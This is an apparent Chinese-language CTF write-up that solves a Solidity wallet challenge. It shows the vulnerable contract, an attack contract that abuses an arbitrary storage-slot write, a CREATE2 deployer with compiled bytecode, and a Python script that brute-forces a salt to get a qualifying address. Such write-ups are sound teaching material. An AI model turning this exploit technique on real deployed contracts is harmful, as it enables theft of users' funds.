20.copy_wallet
2023-06-23 20:45:10 # 00.security

copy_wallet

题目

要求:成功调用isCompleted(string memory email),返回true

下面的所有注释是我的理解与思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/utils/StorageSlotUpgradeable.sol";
//这里是不是错了:"@openzeppelin/contracts-upgradeable/contracts/utils/StorageSlotUpgradeable.sol"才对?

interface IERC20 {

function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);

function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);


event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract ERC20 is IERC20 {

string public constant name = "ERC20";
string public constant symbol = "ERC";
uint8 public constant decimals = 18;
mapping(address => uint256) balances;

mapping(address => mapping (address => uint256)) allowed;

uint256 totalSupply_ = 10 ether;


constructor() {
balances[msg.sender] = totalSupply_;
}

function totalSupply() public override view returns (uint256) {
return totalSupply_;
}

function balanceOf(address tokenOwner) public override view returns (uint256) {
return balances[tokenOwner];
}

function transfer(address receiver, uint256 numTokens) public override returns (bool) {
require(numTokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender]-numTokens;
balances[receiver] = balances[receiver]+numTokens;
emit Transfer(msg.sender, receiver, numTokens);
return true;
}

function approve(address delegate, uint256 numTokens) public override returns (bool) {
allowed[msg.sender][delegate] = numTokens;
emit Approval(msg.sender, delegate, numTokens);
return true;
}

function allowance(address owner, address delegate) public override view returns (uint) {
return allowed[owner][delegate];
}

function transferFrom(address owner, address buyer, uint256 numTokens) public override returns (bool) {
require(numTokens <= balances[owner]);
require(numTokens <= allowed[owner][msg.sender]);

balances[owner] = balances[owner]-numTokens;
allowed[owner][msg.sender] = allowed[owner][msg.sender]-numTokens;
balances[buyer] = balances[buyer]+numTokens;
emit Transfer(owner, buyer, numTokens);
return true;
}
}

contract wallet {

struct Wallet{
string walletName;
uint256 uniqueTokens;
mapping(address => uint256)balances;
}
struct Slot{
bytes32 value;
}

mapping(address => Wallet[])public wallets;

ERC20 public fake;

event SendFlag(string email);

constructor(){
fake = new ERC20();//wallet合约在ERC20中拥有10ETH

wallets[address(this)].push();//新建一个钱包
Wallet storage wallet = wallets[address(this)][0];//wallet合约在ERC20中的第一个钱包
wallet.walletName="cuit";
wallet.uniqueTokens=1;
wallet.balances[address(fake)]= 10 ether;
}

function addWallet(string memory name,address _token,uint256 amount)public{
//我们首先要approve自己,才可以满足此条件
require(IERC20(_token).transferFrom(msg.sender, address(this), amount),"transferFrom failed");

wallets[msg.sender].push();
//好像是写错了?应该不需要-1吧,不然就不是add了而是set
Wallet storage wallet = wallets[msg.sender][wallets[msg.sender].length-1];
wallet.walletName=name;
wallet.uniqueTokens=1;
wallet.balances[_token] = amount;
}//我认为这个是setWallet

function addWalletToken(uint256 index, address _token, uint256 amount)public{
//我们首先要approve自己,才可以满足此条件
require(IERC20(_token).transferFrom(msg.sender, address(this), amount),"transferFrom failed");
//要在范围内才可以操作
require(wallets[msg.sender].length - index > 0);

Wallet storage wallet = wallets[msg.sender][index];
wallet.uniqueTokens++;
wallet.balances[_token] = amount;
}//为钱包增加一个独一无二的token,并且记录

function getTokenBalance(address _addr,uint256 index,address _token) public view returns(uint256 amount){
return wallets[_addr][index].balances[_token];
}

function setSlot(bytes32 slot,bytes32 value) public {
require(uint160(msg.sender) & 0xff == 0x23);
StorageSlotUpgradeable.getBytes32Slot(slot).value = value;
}//我们肯定是需要调用这个方法,然后修改余额

function isCompleted(string memory email)public{
//此合约的第一个钱包在ERC20合约的余额为0
//初始值:10000000000000000000 => 1ETH
//解题:将fake修改成其他地址
require(wallets[address(this)][0].balances[address(fake)] == 0);
emit SendFlag(email);
}

}

分析

1.分析题目要求

成功调用isCompleted(string memory email),返回true

1
2
3
4
function isCompleted(string memory email)public{
require(wallets[address(this)][0].balances[address(fake)]==0);
emit SendFlag(email);
}

require的意思是:将ERC20(fake)在wallets映射中的第一个钱包的余额为0

  1. IERC20接口和ERC20合约是正常实现,并不会有问题,因此我们解题的方向是在wallet合约当中
  2. 如上题目所示中的代码注释,是我的思路
  3. 我们发现,想要修改wallet在ERC20的第一个钱包的余额,只可能通过setSlot()方法

这个代码address(fake)ERC20 public fake;,在本合约当中位于slot 1。address(fake)如果可以修改为其他值,那么wallets[address(this)][0].balances[address(fake)]的值就会是0,因为只有ERC20(fake)才有10ETH,修改成任何地址,都是没钱的。

所以这道题的目标很明确了:修改slot 1的内容为0值【任意不为ERC20(fake)的地址就行】

2.分析setSlot

1
2
3
4
function setSlot(bytes32 slot,bytes32 value) public {
require(uint160(msg.sender) & 0xff == 0x23);
StorageSlotUpgradeable.getBytes32Slot(slot).value = value;
}

2.1 eip-1967

这个方法有一个关键的地方:StorageSlotUpgradeable.getBytes32Slot(slot).value = value;。这是eip-1967@openzeppelin实现。我们知道,可以传入一个slot,然后可以获得这个slot的指针,然后就可以修改这个slot的值。

我们在这bytes32 slot传入slot 1,即:0x0000000000000000000000000000000000000000000000000000000000000001。bytes32 value修改成任何值除了ERC20(fake)的地址即可,因此我修改成全0:0x0000000000000000000000000000000000000000000000000000000000000000。

这样调用的结果就是:wallet合约中的ERC20 public fake被修改为全0,然后调用wallets[address(this)][0].balances[address(fake)]就会是0满足题意

2.2.require

在调用方法之前,我们需要通过require的检验

代码的意思是:uint160(msg.sender)和0xff的&结果为0x23才可以通过。msg.sender是消息的调用者,和0xff进行&运算,是对最低两个16进制位进行&运算

举个例子

msg.sender=0x5B38Da6a701c568545dCfcB03FcB875f56beddC4,取0xC4

0xC4 & 0xff = 1011 0100 & 1111 1111 = 1011 0100。结果为0xC4

因此,如果我们想要通过require的检验,那么msg.sender的最低两位得是0x23。但是我们的钱包地址不满足条件,去找一个满足这样条件的钱包不切实际,因此我们可以使用create2操作码来生成一个拥有这个特性的合约,让这个合约来调用。注意:这个合约得是在构造器当中进行调用setSlot()方法,这样msg.sender才是合约本身

之前做过类似的题目,见本博客文章: [security-04]

  • 构造一个攻击的合约
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

contract Hack{

address wallet = 0x56a2777e796eF23399e9E1d791E1A0410a75E31b;
bytes32 slot = 0x0000000000000000000000000000000000000000000000000000000000000001;
bytes32 value = 0x0000000000000000000000000000000000000000000000000000000000000000;

constructor()public{
wallet.call(abi.encodeWithSignature("setSlot(bytes32,bytes32)",slot,value));
}

}

  • 用于调用create2方法的合约
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
contract DeployHack {
bytes attackCode = hex"60806040527356a2777e796ef23399e9e1d791e1a0410a75e31b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160001b6001556000801b60025534801561007357600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166001546002546040516024016100c29291906101af565b6040516020818303038152906040527fd3607ed9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161014c9190610249565b6000604051808303816000865af19150503d8060008114610189576040519150601f19603f3d011682016040523d82523d6000602084013e61018e565b606091505b505050610260565b6000819050919050565b6101a981610196565b82525050565b60006040820190506101c460008301856101a0565b6101d160208301846101a0565b9392505050565b600081519050919050565b600081905092915050565b60005b8381101561020c5780820151818401526020810190506101f1565b60008484015250505050565b6000610223826101d8565b61022d81856101e3565b935061023d8185602086016101ee565b80840191505092915050565b60006102558284610218565b915081905092915050565b603f8061026e6000396000f3fe6080604052600080fdfea2646970667358221220c0b81714a89c1e851adbea03e201af3f4dcb4cc4f68ad9ba9db46e3582fdad8764736f6c63430008110033";

function deploy(bytes32 salt) public {
bytes memory bytecode = attackCode;
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}

}
function getHash()public view returns(bytes32){
return keccak256(attackCode);
}
}
  • python获得对应的salt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from web3 import Web3

s1 = '0xffb5465ED8EcD4F79dD4BE10A7C8e7a50664e5eeEB'

s3= '0bd443cab067564631245778699763e7b76d56da87acea443512d39abe604aa2'
i = 0
while(1):
salt = hex(i)[2:].rjust(64,'0')
s = s1+salt+s3
hashed = Web3.sha3(hexstr=s)
hashed_str = ''.join(['%02x' % b for b in hashed])
if '23' in hashed_str[62:]:
print(salt,hashed_str)
break
i += 1
print(salt)

解题过程

1.部署题目

2.编译攻击合约,并且获取bytecode

1
bytecode = 60806040527356a2777e796ef23399e9e1d791e1a0410a75e31b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160001b6001556000801b60025534801561007357600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166001546002546040516024016100c29291906101af565b6040516020818303038152906040527fd3607ed9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505060405161014c9190610249565b6000604051808303816000865af19150503d8060008114610189576040519150601f19603f3d011682016040523d82523d6000602084013e61018e565b606091505b505050610260565b6000819050919050565b6101a981610196565b82525050565b60006040820190506101c460008301856101a0565b6101d160208301846101a0565b9392505050565b600081519050919050565b600081905092915050565b60005b8381101561020c5780820151818401526020810190506101f1565b60008484015250505050565b6000610223826101d8565b61022d81856101e3565b935061023d8185602086016101ee565b80840191505092915050565b60006102558284610218565b915081905092915050565b603f8061026e6000396000f3fe6080604052600080fdfea2646970667358221220c0b81714a89c1e851adbea03e201af3f4dcb4cc4f68ad9ba9db46e3582fdad8764736f6c63430008110033

3.获得keccak256(bytecode)

4.计算salt = 000000000000000000000000000000000000000000000000000000000000001a

5.部署create2目标合约进行攻击,成功修改ERC20(fake)

6.调用isComplete(),完成

方法2

直接修改存储数值的插槽,而不是修改存储地址的插槽

Prev
2023-06-23 20:45:10 # 00.security
Next